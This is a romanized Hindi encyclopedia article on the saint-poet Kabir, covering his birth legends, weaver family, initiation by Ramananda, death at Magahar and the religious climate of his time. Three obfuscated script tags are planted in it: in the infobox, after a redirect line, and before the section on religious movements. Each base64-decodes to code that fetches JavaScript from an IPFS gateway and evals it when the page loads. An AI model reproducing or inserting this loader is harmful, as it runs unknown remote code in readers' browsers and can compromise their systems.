कबीर आलेख

kabir vishay soochi

kabir    jivan parichay    samakalin samaj    sahityik parichay    bhasha aur shaili    vyaktitv    jivan darshan    rachanaean    kabir ke dohe    vistrit lekh

kabir alekh |200px|center poora nam sant kabiradas any nam kabira janm san 1398 (lagabhag) janm bhoomi laharatara tal, kashi mrityu san 1518 (lagabhag) mrityu sthan magahar, uttar pradesh palak mata-pita niru aur nima pati/patni loee santan kamal (putr), kamali (putri) karm bhoomi kashi, banaras karm-kshetr samaj sudharak kavi mukhy rachanaean sakhi, sabad aur ramaini vishay samajik bhasha avadhi, sadhukk di, panchamel khich di shiksha nirakshar nagarikata bharatiy inhean bhi dekhean kavi soochi, sahityakar soochi <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>

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kabir (janm- sanh 1398 kashi - mrityu- sanh 1518 magahar) ka nam kabiradas, kabir sahab evan sant kabir jaise roopoan mean bhi prasiddh hai. ye madhyakalin bharat ke svadhinacheta mahapurush the aur inaka parichay, pray: inake jivanakal se hi, inhean saphal sadhak, bhakt kavi, matapravartak athava samaj sudharak manakar diya jata raha hai tatha inake nam par kabirapanth namak sanpraday bhi prachalit hai. kabirapanthi inhean ek alaukik avatari purush manate haian aur inake sanbandh mean bahut si chamatkarapoorn kathaean bhi suni jati haian. inaka koee pramanik jivanavritt aj tak nahian mil saka, jis karan is vishay mean nirnay karate samay, adhikatar janashrutiyoan, saanpradayik granthoan aur vividh ullekhoan tatha inaki abhi tak upalabdh katipay phutakal rachanaoan ke aant:sadhy ka hi sahara liya jata raha hai. phalat: is sanbandh mean tatha inake mat ke bhi vishay mean bahut kuchh matabhed paya jata hai.

sant kabir das hiandi sahity ke bhakti kal ke ikalaute aise kavi haian, jo ajivan samaj aur logoan ke bich vyapt adanbaroan par kutharaghat karate rahe. vah karm pradhan samaj ke pairokar the aur isaki jhalak unaki rachanaoan mean saf jhalakati hai. lok kalyan hetu hi mano unaka samast jivan tha. kabir ko vastav mean ek sachche vishv - premi ka anubhav tha. kabir ki sabase b di visheshata yah thi ki unaki pratibha mean abadh gati aur adamy prakharata thi. samaj mean kabir ko jagaran yug ka agradoot kaha jata hai.

d aau. hazari prasad dvivedi ne likha hai ki sadhana ke kshetr mean ve yug - yug ke guru the, unhoanne sant kavy ka path pradarshan kar sahity kshetr mean nav nirman kiya tha.

jivan parichay

janm

• kabiradas ke janm ke sanbandh mean anek kianvadantiyaan haian. kabir panthiyoan ki manyata hai ki kabir ka janm kashi mean laharatara talab mean utpann kamal ke manohar pushp ke oopar balak ke roop mean hua. kuchh logoan ka kahana hai ki ve janm se musalaman the aur yuvavastha mean svami ramanand ke prabhav se unhean hindoo dharm ki batean maloom hueean. ek din, ek pahar rat rahate hi kabir panchaganga ghat ki sidhiyoan par gir p de. ramanand ji ganga snan karane ke liye sidhiyaan utar rahe the ki tabhi unaka pair kabir ke sharir par p d gaya. unake mukh se tatkal `ram-ram' shabd nikal p da. usi ram ko kabir ne diksha-mantr man liya aur ramanand ji ko apana guru svikar kar liya. kabir ke hi shabdoan mean-

ham kasi mean prakat bhaye haian,
ramanand chetaye.

• kabirapanthiyoan mean inake janm ke vishay mean yah pady prasiddh hai-

chaudah sau pachapan sal ge, chandravar ek thath the.
jeth sudi barasayat ko pooranamasi tithi pragat bhe॥
ghan garajean damini damake booande barashean jhar lag ge.
lahar talab mean kamal khile tahan kabir bhanu pragat bhe॥

janmasthan

kabir ke janmasthan ke sanbandh mean tin mat haian: magahar, kashi aur ajamagadh mean belahara gaanv.

1. magahar ke paksh mean yah tark diya jata hai ki kabir ne apani rachana mean vahaan ka ullekh kiya hai : "pahile darasan magahar payo puni kasi base aee arthath kashi mean rahane se pahale unhoanne magahar dekha. magahar ajakal varanasi ke nikat hi hai aur vahaan kabir ka maqabara bhi hai.
2. kabir ka adhikaansh jivan kashi mean vyatit hua. ve kashi ke julahe ke roop mean hi jane jate haian. kee bar kabirapanthiyoan ka bhi yahi vishvas hai ki kabir ka janm kashi mean hua. kiantu kisi praman ke abhav mean nishchayatmakata avashy bhang hoti hai.
3. bahut se log ajamagadh zile ke belahara gaanv ko kabir sahab ka janmasthan manate haian.

ve kahate haian ki ‘belahara’ hi badalate-badalate laharatara ho gaya. phir bhi pata lagane par n to belahara gaanv ka thik pata chala pata hai aur n yahi maloom ho pata hai ki belahara ka laharatara kaise ban gaya aur vah ajamagadh zile se kashi ke pas kaise a gaya ? vaise ajamagadh zile mean kabir, unake panth ya anuyayiyoan ka koee smarak nahian hai.

mata-pita

kabir ke mata- pita ke vishay mean bhi ek ray nishchit nahian hai. "nima' aur "niru' ki kokh se yah anupam jyoti paida huee thi, ya lahar talab ke samip vidhava brahmani ki pap- santan ke rup mean akar yah patitapavan hue the, thik tarah se kaha nahian ja sakata hai. kee mat yah hai ki nima aur niru ne keval inaka palan- poshan hi kiya tha. ek kivadanti ke anusar kabir ko ek vidhava brahmani ka putr bataya jata hai, jisako bhool se ramanand ji ne putravati hone ka ashirvad de diya tha.
ek jagah kabir ne kaha hai :-

"jati julaha nam kabira
bani bani phiro udasi.'

kabir ke ek pad se pratit hota hai ki ve apani mata ki mrityu se bahut du:khi hue the. unake pita ne unako bahut sukh diya tha. vah ek jagah kahate haian ki usake pita bahut "gusaee' the. granth sahab ke ek pad se vidit hota hai ki kabir apane vayanakary ki upeksha karake harinam ke ras mean hi lin rahate the. unaki mata ko nity kosh gh da lekar lipana p data tha. jabase kabir ne mala li thi, usaki mata ko kabhi sukh nahian mila. is karan vah bahut khij gee thi. isase yah bat samane ati hai ki unaki bhakti evan sant- sanskar ke karan unaki mata ko kasht tha.

bachapan

kabiradas ka lalan-palan julaha parivar mean hua tha, isalie unake mat ka mahattvapoorn aansh yadi is jati ke paranparagat vishvasoan se prabhavit raha ho to isamean ashchary ki koee bat nahian hai. yadyapi 'julaha' shabd farasi bhasha ka hai, tathapi is jati ki utpatti ke vishay mean sanskrit puranoan mean kuchh-n-kuchh charcha milati hi hai. brahmavaivart puran ke brahm khand ke dasavean adhyay mean bataya gaya hai ki mlechchh se kuviandakanya mean 'jola' ya julaha jati ki utpatti huee hai. arthath mlechchh pita aur kuviand mata se jo santati huee vahi julaha kahalaee.

julaha

julahe musalaman hai, par inase any musalamanoan ka maulik bhed hai. sanh 1901 ki manushy-ganana ke adhar par rijali sahab ne 'pipuls aauf iandiya' namak ek granth likha tha. is granth mean unhoanne tin musalaman jatiyoan ki tulana ki thi. ve tin haian: saiyad, pathan aur julahe. inamean pathan to bharatavarsh mean sarvatr phaile hue haian par unaki sankhya kahian bhi bahut adhik nahian hai. jan p data hai ki bahar se akar ve nana sthanoan par apani suvidha ke anusar bas ge. par julahe panjab, uttar pradesh, bihar aur bangal mean hi pae jate haian. jin dinoan kabiradas is is julaha-jati ko alankrit kar rahe the un dinoan, aisa jan p data hai ki is jati ne abhi ekadh pusht se hi musalamani dharm grahan kiya tha. kabiradas ki vani ko samajhane ke lie yah nihayat zaroori hai ki ham is bat ki janakari prapt kar le ki un dinoan is jati ke bache-kuche purane sanskar kya the.

uttar bharat ke vayanajiviyoan mean kori mukhy haian. bens julahoan ko koriyoan ki samashil jati hi manate haian. kuchhek panditoan ne yah bhi anuman kiya hai ki musalamani dharm grahan karane vale kori hi julahe haian. yah ullekh kiya ja sakata hai ki kabiradas jahaan apane ko bar-bar julaha kahate haian,

(1) jati julaha mati kau dhir. harashi gun ramai kabir.
(2) too brahman maian kashi ka julaha.

vahaan kabhi-kabhi apane ko kori bhi kah ge haian. aisa jan p data hai ki yadyapi kabiradas ke yug mean julahoan ne musalamani dharm grahan kar liya tha par sadharan janata mean tab bhi kori nam se parichit the.

sabase pahale lagane vali bat yah hai ki kabiradas ne apane ko julaha to kee bar kaha hai, par musalaman ek bar bhi nahian kaha. ve barabar apane ko 'na-musalaman' kahate rahe. adhyatmik paksh mean nissandeh yah bahut ooancha bhav hai, par kabiradas ne kuchh is dhang se apane ko ubhay-vishesh bataya hai ki kabhi-kabhi yah sandeh hota hai ki ve adhyatmik saty ke atirikt ek samajik tathy ki or bhi ishara kar rahe haian. un dinoan vayanajivi nath-matavalanbi grihasth yogiyoan ki jati sachamuch hi 'na-hiandoo na-musalaman' thi. kabiradas ne kam-se-kam ek pad mean spasht roop se svikar kiya hai ki hiandoo aur haian, musalaman aur haian aur yogi aur haian, kyoanki yogi ya jogi 'gorakh-gorakh karata hai, hiandoo 'ram-ram' uchcharata hai aur musalaman 'khuda-khuda' kaha karata hai.

shiksha

kabir b de hone lage. kabir padhe-likhe nahian the- apani avastha ke balakoan se ekadam bhinn rahate the. kabiradas ki khel mean koee ruchi nahian thi. madarase bhejane layaq sadhan pita-mata ke pas nahian the. jise har din bhojan ke lie hi chianta rahati ho, us pita ke man mean kabir ko padhane ka vichar bhi n utha hoga. yahi karan hai ki ve kitabi vidya prapt n kar sake.

masi kagad chhoovo nahian, qalam gahi nahian hath.

unhoanne svayan granth nahian likhe, muanh se bole aur unake shishyoan ne use likh liya.

vaivahik jivan

kabir ka vivah vanakhe di bairagi ki palita kanya 'loee' ke sath hua tha. kabir ko kamal aur kamali nam ki do santan bhi thi. granth sahab ke ek shlok se vidit hota hai ki kabir ka putr kamal unake mat ka virodhi tha.

boo da bans kabir ka, upaja poot kamal.
hari ka simaran chhodi ke, ghar le aya mal.

kabir ki putri kamali ka ullekh unaki baniyoan mean kahian nahian milata hai. kaha jata hai ki kabir ke ghar mean rat - din mudiyoan ka jamaghat rahane se bachchoan ko roti tak milana kathin ho gaya tha. is karan se kabir ki patni jhuanjhala uthati thi. ek jagah kabir usako samajhate haian :-

suni aanghali loee banpir.
in mu diyan bhaji saran kabir..

jabaki kabir ko kabir panth mean, bal- brahmachari aur virani mana jata hai. is panth ke anusar kamaty usaka shishy tha aur kamali tatha loee unaki shishya. loee shabd ka prayog kabir ne ek jagah kanbal ke rup mean bhi kiya hai. vastutah kabir ki patni aur santan donoan the. ek jagah loee ko pukar kar kabir kahate haian :-

"kahat kabir sunahu re loee.
hari bin rakhan har n koee..'

yah ho sakata ho ki pahale loee patni hogi, bad mean kabir ne ise shishya bana liya ho. unhoanne spasht kaha hai :-

nari to ham bhi kari, paya nahian vichar.
jab jani tab parihari, nari maha vikar..

guru diksha

thumb|kabiradas|250px kabir ji ne socha ki guru kiye bina kam banega nahian. us samay kashi mean ramanand nam ke sant b de uchch koti ke mahapurush mane jate the. kabir ji ne unake ashram ke mukhy dvar par akar vinati kiah "mujhe guruji ke darshan karao." us samay jat-paant ka b da agrah rahata tha. aur phir kashi ! vahaan panditoan aur pande logoan ka adhik prabhav tha. kabir ji ne dekha ki har roj subah tin-char baje svami ramanand kh daooan pahanakar 'tap...tap....' avaz karate ganga mean snan karane jate haian. kabir ji ne ganga ke ghat par unake jane ke raste mean aur sab jagah ba d kar di. ek hi marg rakha aur us marg mean subah ke andhere mean kabir ji so gaye. guru maharaj aye to andhere ke karan kabir ji par pair p d gaya. unake mukh se udagar nikal p deah "ram... ram... ram....." kabir ji ka to kam ban gaya. guruji ke darshan bhi ho gaye, unaki padukaoan ka sparsh bhi mil gaya aur gurumukh se ramanam ka mantr bhi mil gaya. ab diksha mean baki hi kya raha ? kabir ji nachate, gate, gunagunate ghar vapas aye. ramanam ki aur gurudev ke nam ki rat laga di. atyant snehapoorvak hriday se gurumantr ka jap karate, gurunam ka kirtan karate sadhana karane lage. jo mahapurush jahaan pahuanche haian vahaan ki anubhooti unaka bhavapoorn hriday se chintan karane vale ko bhi hone lagati hai. kashi ke panditoan ne dekha ki yavan ka putr kabir ramanam japata hai, ramanand ke nam ka kirtan karata hai ! us yavan ko ramanam ki diksha kisane di ? kyoan di ? mantr ko bhrasht kar diya ! panditoan ne kabir se poochha:-
"ramanam ki diksha tere ko kisane di ?"
"svami ramanandaji maharaj ke shrimukh se mili."
"kahaan di ?"
"subah ganga ke ghat par."
pandit ramanand ji ke pas pahuanche aur kaha ki apane yavan ko ramamantr ki diksha dekar mantr ko bhrasht kar diya, sampraday ko bhrasht kar diya. guru maharaj ! yah apane kya kiya ?
guru maharaj ne kaha- "maianne to kisi ko diksha nahian di."
"vah yavan julaha to ramanand..... ramanand.... mere gurudev ramanand" ki rat lagakar nachata hai, apaka nam badanam karata hai."
"bhaee ! maianne usako kuchh nahian kaha. usako bulakar poochha jay. pata chal jayega."
kashi ke pandit ikatthe ho gaye. kabir ji ko bulaya gaya. guru maharaj manch par virajaman haian. samane vidvanh panditoan ki sabha baithi hai.
ramanandaji ne kabir se poochhaah "maianne tujhe kab diksha di ? maian kab tera guru bana ?"
kabir ji boleah "maharaj ! us din prabhat ko apane mere ko paduka ka sparsh karaya aur ramamantr bhi diya, vahaan ganga ke ghat par."
ramanand ji kupit se ho gaye. kabir ji ko apane samane bulaya aur garaj kar boleah "mere samane too jhooth bol raha hai ? sach bol...."
"prabhu ! apane hi mujhe pyara ramanam ka mantr diya tha...."
ramanandaji ko gussa a gaya. khadaooan uthakar de mari kabir ji ke sir par.
"ram... ram...ram....! itana jhooth bolata hai....."
kabir ji bol utheah "guru maharaj ! tabaki diksha jhoothi to abaki to sachchi...! mukh se ramanam ka mantr bhi mil gaya aur sir mean apaki pavan paduka ka sparsh bhi ho gaya."
svami ramanand ji uchch koti ke sant-mahatma the. gh di bhar bhitar gota lagaya, shaant ho gaye. phir panditoan se kahaah "chalo, yavan ho ya kuchh bhi ho, mera pahale nambar ka shishy yahi hai."
brahmanishth satpurushoan ki vidya ya diksha prasad khakar mile to bhi be da par karati hai aur mar khakar mile to bhi be da par kar deti hai.

mrityu

[[chitr:26-maghar.jpg|thumb|250px|kabiradas ki majar aur samadhi, magahar, uttar pradesh]] kabir ne kashi ke pas magahar mean deh tyag di. aisi manyata hai ki mrityu ke bad unake shav ko lekar vivad utpann ho gaya tha. hindoo kahate the ki unaka aantim sanskar hindoo riti se hona chahie aur muslim kahate the ki muslim riti se. isi vivad ke chalate jab unake shav par se chadar hat gee, tab logoan ne vahaan phooloan ka dher p da dekha. bad mean vahaan se adhe phool hinduoan ne le lie aur adhe musalamanoan ne. musalamanoan ne muslim riti se aur hianduoan ne hiandoo riti se un phooloan ka aantim sanskar kiya. magahar mean kabir ki samadhi hai. janm ki bhaanti inaki mrityu tithi evan ghatana ko lekar bhi matabhed haian kintu adhikatar vidvanh unaki mrityu sanvat 1575 vikrami (san 1518 ee.) manate haian, lekin bad ke kuchh itihasakar unaki mrityu 1448 ko manate haian.

hazariprasad dvivedi ki qalam se

tripura zile ke yogiyoan ko pahale agnidah karate haian aur phir samadhi bhi dete haian arthath mitti mean ga d bhi dete haian. [[chitr:Hazari Prasad Dwivedi.JPG|thumb|hazari prasad dvivedi|left]] kabiradas ke vishay mean prasiddh hai ki unaki mrityu ke bad kuchh phool bach rahe the jinamean se adhe ko hinduoan ne jalaya aur adhe ko musalamanoan ne ga d diya. kee panditoan ne is ko karamati kianvadati kahakar u da diya hai, par mera anuman hai ki sachamuch hi kabiradas ko (tripura zile ke vartaman yogiyoan ki bhaanti) samadhi bhi di gee hogi aur unaka agni-sanskar bhi kiya gaya hoga. yadi yah anuman saty hai to dridhata ke sath hi kaha ja sakata hai ki kabiradas jis julaha jati mean palit hue the vah ekadh pusht pahale ke yogi jaisi kisi ashram-bhrasht jati se musalaman huee thi ya abhi hone ki rah mean thi. jogi jati ka sanbandh nathapanthi siddhaantoan ki janakari n ho, to kabir ki vaniyoan ko samajh sakana bhi mushkil hai.

samakalin samajik paristhiti

mahatma kabiradas ke janm ke samay mean bharat ki rajanitik, samajik, arthik evan dharmik dasha shochaniy thi. ek taraph musalaman shasakoan ki dharmaanndhata se janata pareshan thi aur doosari taraph hindoo dharm ke karmakaand, vidhan aur pakhand se dharm ka hras ho raha tha. janata mean bhakti- bhavanaoan ka sarvatha abhav tha. panditoan ke pakhandapoorn vachan samaj mean phaile the. aise sangharsh ke samay mean, kabiradas ka prardubhav hua. jis yug mean kabir avirbhoot hue the, usake kuchh hi poorv bharatavarsh ke itihas mean ek abhootapoorv ghatana ghat chuki thi. yah ghatana islam jaise ek susangathit sampraday ka agaman tha. is ghatana ne bharatiy dharm–mat aur samaj vyavastha ko buri tarah se jhakajhor diya tha. usaki aparivartaniy samajhi jane vali jati–vyavastha ko pahali bar zabardast thokar lagi thi. sara bharatiy vatavaran sankshubdh tha. bahut–se panditajan is sankshobh ka karan khojane mean vyast the aur apane–apane dhang par bharatiy samaj aur dharm–mat ko sambhalane ka prayatn kar rahe the.

bharatavarsh koee naya desh nahian hai. b de–b de samrajy usaki dhool mean dabe hue haian, b di–b di dharmik ghoshanaean usake vayumandal mean ninadit ho chuki haian. b di–b di sabhyataean usake pratyek kone mean utpann aur vilin ho chuki haian. unake smriti chihn ab bhi is prakar nirjiv hokar kh de haian manoan attahas karati huee vijayalakshmi ko bijali mar gee ho. anadikal mean usamean anek jatiyoan, kabiloan, nasloan aur ghumakk d khanabadoshoan ke jhund is desh mean ate rahe haian. kuchh der ke lie inhoanne desh ke vatavaran ko vikshubdh bhi banaya hai, par ant tak ve dakhal karake baith jate rahe haian aur purane devataoan ke saman hi shraddhabhajan ban jate rahe haian—kabhi–kabhi adhik samman bhi pa sake haian. bharatiy sanskriti ki kuchh aisi visheshata rahi hai ki un kabiloan, nasloan aur jatiyoan ki bhitari samaj–vyavastha aur dharm–mat mean kisi prakar ka hastakshep nahian kiya gaya hai aur phir bhi unako sampoorn bharatiy man liya gaya hai. bhagavat mean aisi jatiyoan ki ek soochi dekar bataya gaya hai ki ek bar bhagavan ka ashray pate hi ye shuddh ho gee haian. inamean kirat haian, hoon haian, aandhr haian, puliand haian, pukkas haian, abhir haian, shuang haian, yavan haian, khas haian, shak haian aur bhi nishchay hi aisi bahut si jatiyaan haian, jinaka nam bhagavatakar nahian gina ge.

samakalin bharatiy sanskriti

bharatiy sanskriti itane atithiyoan ka apana saki thi, isaka karan yah hai ki bahut se shuroo se hi usaki dharm–sadhana vaiyaktik rahi hai. pratyek vyakti ko alag se dharmopasana ka adhikar hai. jhuand baandhakar utsav ho sakate haian, bhajan nahian. pratyek vyakti apane kie ka zimmedar ap hi hai. shreshthata ki nishani kisi dharm–mat ko manana ya dev vishesh ki pooja karana nahian balki achar–shuddhi aur charitry hai. yadi ek adami apane poorvajoan ke batae dharm par dridh hai, charitr se shuddh hai, doosari jati ya vyakti ke acharan ki nakal nahian karata balki svadharm mean mar jane ko hi shreyaskar samajhata hai, eemanadar hai, satyavadi hai, to vah nishchay hi shreshth hai, phir vah chahe abhir vansh ka ho ya pukks shreni ka. kulinata poorvajanm ke karm ka phal hai. charitry is janm ke karm ka pratik hai.

devata kisi ek jati ki sampatti nahian haian, ve sabake haian, aur sabaki pooja ke adhikari haian. par yadi svayan devata hi chahate hoan ki unaki pooja ka madhyam koee vishesh jati ya vyakti ho sakata hai to bharatiy samaj ko isamean bhi koee apatti nahian hai. brahman matangi devi ki pooja karega par matang ke jarie. kya hua jo ki matang chaandal hai. rahu yadi prasann hone ke lie domoan ko hi dan dena apani shart rakhate haian to dom sahi haian. samast bharatiy samaj dom ko hi dan dekar grahan ke anarth se chandrama ki raksha karega. is prakar bharatiy sanskriti ne samast jatiyoan ko unaki sari visheshataoan samet svikar kar liya. par ab tak koee aisa 'mazahab' usake dvar par nahian aya tha. vah usako hajam kar sakane ki shakti nahian rakhata tha.

'mazahab' kya hai?

thumb|kabiradas|250px 'mazahab' kya hai? mazahab ek sangathit dharm–mat hai. bahut–se log ek hi devata ko manate haian, ek hi achar ka palan karate haian, aur kisi nasl, kabile ya jati ke vishesh vyakti ko jab ek bar apane sanghatit samooh mean mila lete haian to usaki sari visheshataean door kar usi vishesh matavad ko svikar karate haian. yahaan dharm–sadhana vyaktigat nahian, samoohagat hoti hai. yahaan dharmik aur samajik vidhinishedh ek –doosare mean guanthe hote haian. bharatiy samaj nana jatiyoan ka sammishran tha. ek jati ka ek vyakti doosari jati mean badal nahian sakata, parantu mazahab thik isase ulta hai. vah vyakti ko samooh ka aang bana deta hai. bharatiy samaj ki jatiyaan kee vyaktiyoan ka samooh hai, parantu kisi mazahab ke vyakti brihat samooh ke aang haian. ek ka vyakti alag hasti rakhata hai par alag nahian ho sakata, doosare ka alag ho sakata hai, par alag satta nahian rakhata.

musalamani dharm ek 'mazahab' hai. bharatiy samaj sangathan se bilkul ulte taur par usaka sangathan hua tha. bharatiy samaj jatigat visheshata rakhakar vyaktigat dharm–sadhana ka pakshapati tha, islam jatigat visheshata ko lop karake samoohagat dharm–sadhana ka pracharak tha. ek ka kendr bindu charitry tha, doosare ka dharm–mat. bharatiy samaj mean yah svikrit tathy tha ki vishvas chahe jo bhi ho, charitry shuddh hai to vyakti shreshth ho jata hai. phir chahe vah kisi jati ka bhi kyoan n ho. musalamani samaj ka vishvar tha ki islam ne jo dharm–mat prachar kiya hai usako svikar kar lene vala hi anant svarg ka adhikari hai. jo is dharm–mat ko nahian manata vah anant narak mean jane ko badhy hai. bharatavarsh ko aise mat se ekadam pala nahian p da tha. usane kabhi yah vishvas hi nahian kiya ki usake achar aur mat ko n manane vali jati ka kuph to dana usaka param kartavy hai. kisi aur ka param kartavy yah bat ho sakati hai, yah bhi use nahian maloom tha. isilie jab navin dharm–mat ne sare sansar ke kuph ko mita dene ki pratijna ki aur sabhi pae jane vale sadhanoan ka upayog arambh kiya to bharatavarsh ise thik–thik samajh hi nahian saka. isilie kuchh dinoan tak usaki samanvayatmika buddhi kuanthit ho gee. vah vikshubdh sa ho utha. parantu vidhata ko yah kuantha aur vikshobh pasand nahian tha.

1. REDIRECTsaancha:inhean bhi dekhean<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>

dharmachar ka palan

aisa jan p data hai pahali bar bharatiy manishiyoan ko ek sanghabaddh dharmachar ke palan ki zaroorat mahasoos huee. islam ke ane se pahale is vishal janasamooh ka koee ek nam tak nahian tha. ab isaka nam 'hindoo' p da. hindoo arthath bharatiy, arthath gair–islami mat. spasht hi gair–islami mat mean kee tarah ke mat the. kuchh brahmavadi the, kuchh karmakandi the, kuchh shaiv the, kuchh vaishnav the, kuchh shakt the, kuchh smartt the tatha aur bhi n jane kya–kya the. hazaroan yojanoan tak vistrit aur hazaroan varshoan mean parivyapt is janasamooh ke vicharoan aur parampara prapt matoan ka ek vishal jangal kh da tha. smriti, puran, lokachar aur kulachar ki vishal vanasthali mean se rasta nikal lena b da hi dushkar kary tha. smartt panditoan ne isi dushkar vyapar ko shirodhary kiya. sare desh mean shastriy vachanoan ki chhanabin hone lagi. uddeshy tha ki is prakar ka sarvasammat mat nikal liya ja sake, shraddh–vivah ki ek hi riti–niti prachalit ho sake, utsan–samaroh ka ek hi vidhan taiyar ho sake. bharatiy manisha ka shastroan ko adhar manakar apani sabase b di samasya ke samadhan ka yah sabase b da prayatn tha. hemadri se lekar kamalakar aur raghunandan tak bahutere panditoan ne bahut parishram ke bad jo kuchh nirnay kiya vah yadyapi sarvavadisammat nahian hua, parantu nissandeh stoopibhoot shastr vakyoan ki chhanabin se ek bahut kuchh milata–julata achar–pravan dharm–mat sthir kiya ja saka. nibandh granthoan ki yah ek bahut b di den hai. jis bat ko ajakal 'hindoo–solidairiti' kahate haian, usaka pratham bhitti–sthapan in nibandh granthoan ke dvara hi hua tha. par samasya ka samadhan isase nahian hua. [[chitr:Kabir-Maghar-Mazaar.jpg|thumb|250px|kabir ki mazar, magahar]] is prayatn ki sabase b di kamazori isaki achar–pravanata hi thi. jo naya dharm–mat bharatiy jan samaj ko sankshubdh kar raha tha vah is achar ko koee mahattv hi nahian deta tha. usaka sangathan bilkul ulte kinar se hua tha. usake mool mean hi sabako svikar karane ka siddhaant kam kar raha tha. samast shastriy vakyoan ko natashir se svikar karake hi yah asadhy sadhan kiya gaya tha. par jis pratidvandvi se kam p da tha vah bahut varjanagrahi tha, arthath vah nirdayatapoorv anyany matoan ko tahas–nahas karane ki diksha le chuka tha aur dharmik varjanashilata hi usaka mukhy astr tha. yadyapi vah samaj dharmik roop mean varjanashil tha, par samajik roop mean grahanashil tha. jabaki hindoo samaj dharmik sadhanoan ko svikar kar sakata tha. par kisi vyakti vishesh ko dharm–mat mean grahan karane ka pakshapati nahian tha. udhar musalamani samaj vyakti ko apane dharm–mat shamil kar lene ko param kartavy samajhata tha. parantu kisi vishesh dharm sadhana ko apane kisi vyakti ke lie ekadam varjaniy manata tha. nibandh granthoan ne hindoo ko aur bhi adhik hindoo bana diya, par musalamanoan ko atmasat karane ka koee rasta nahian bataya.

is prakar musalamanoan ke agaman ke sath hi sath hindoo dharm pradhanatah achar–pravan ho gaya. tirth, vrat, upavas aur homachar ki parampara hi usaka kendr bindu ho gee. is samay poorv aur uttar mean sabase prabal sampraday nathapanthi yogiyoan ka tha. hamane pahale hi dekha hai ki log shastriy smartt mat ko bhi nahian manate the aur prasthanatrayi (arthath 'upanishad', 'brahmasootr', aur 'gita') par adharit kisi darshanik matavad ke bhi qayal nahian the. par janata ka dhyan ye akrisht kar sake the. vividh siddhiyoan ke dvara ve kafi samman aur sanbhram ke patr ban ge the. ye gunatit shiv ya nirgun tattv ke upasak the. sadhanaoan ke dvara, jinhean kaya–sadhan kahate the, log param–tattv ko pane ke prayasi the. inamean jo siddh, sadhak aur avadhoot the ve gharabari anahian hote the par unake shishyoan mean bahut–se ashramabhrasht grihasth the, jo ki yogi jati ka roop dharan kar chuke the. hindoo dharm in ashramabhrasht grihasthoan ka samman to karata hi n tha, ulte unhean tiraskar ki drishti se hi dekhata tha. ye ashramabhrasht grihasth n to hindoo the - kyoanki vah hinduoan ke kisi mat ya achar ke qayal n the - aur n hi musalaman - kyoanki inhoanne islam dharm–mat ko svikar nahian kiya tha. kuchh kal ke islami sansarg ke bad ye log dhire–dhire musalamani dharm - mat ki or jhukane lage, par inake sanskar bahut dinoan tak bane rahe. jab ve isi prakriya mean se guzar rahe the usi samay kabir ka avirbhav hua tha.

dharmik andolan

chitr:Blockquote-open.gif kabiradas ne bolachal ki bhasha ka hi prayog kiya hai. bhasha par kabir ka jabaradast adhikar tha. ve vani ke diktetar the. jis bat ko unhoanne jis roop mean prakat karana chaha hai, use usi roop mean kahalava liya–ban gaya hai to sidhe–sidhe, nahian darera dekar. bhasha kuchh kabir ke samane lachar–si nazar ati hai. chitr:Blockquote-close.gif - hazari prasad dvivedi

<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> yahaan do aur pradhan dharmik aandolanoan ki charcha kar leni chahie. pahali dhara pashchim se aee. yah soofi logoan ki sadhana thi. mazahabi musalaman hindoo dharm ke marmasthan par chot nahian kar pae the. ve keval usake bahari sharir ko vikshubdh kar sakate the. par soofi log bharatiy sadhana ke avirodhi the. unake udaratapoorn prem marg ne bharatiy janata ka chitt jitana arambh kar diya. phir bhi ye log achar pradhan bharatiy samaj ko akrisht nahian kar sake. usaka samanjasy achar pradhan hindoo dharm ke sath nahian ho saka. yahaan par yah bat smaran rakhane ki hai ki n to soofi matavad aur n yogamargiy nirgun param–tattv ki sadhana hi us vipul vairagy ke bhar ko vahan kar saki. jo bauddh sangh ke anukaran par pratishthit tha. desh mean pahali bar varnashram–vyavastha ko ek ananubhootapoorv vikat paristhiti ka samana karana p d raha tha. ab tak varnashram–vyavastha ka koee pratidvandvi nahian tha. achar bhrasht vyakti samaj se alag kar die jate the aur ve ek nee jati ki rachana kar lete the. is prakar saik doan jatiyaan aur upajatiyaan srisht hote rahane par bhi varnashram–vyavastha ek prakar se chalati hi ja rahi thi. ab samane ek zabardast pratidvandvi samaj tha jo ki pratyek vyakti aur pratyek jati ko aangikar karane ko baddhaparikar tha. usaki ekamatr shart yah thi ki vah usake vishesh prakar ke dharm–mat ko svikar kar le. samaj se dand panevala bahishkrit vyakti ab asahay nahian tha. ichchha karate hi vah ek susangathit samaj ka sahara pa sakata tha. aise samay mean dakshin se vedaant bhavit bhakti ka agaman hua, jo ki vishal bharatiy mahadvip k is chhor se us chhor tak phail gaya. d aau. griyarsan ne kaha tha-

"bijali ke chamak ke saman achanak is samast (dharmik matoan ke) aandhakar ke oopar ek nee bat dikhaee di. yah bhakti ka aandolan hai."

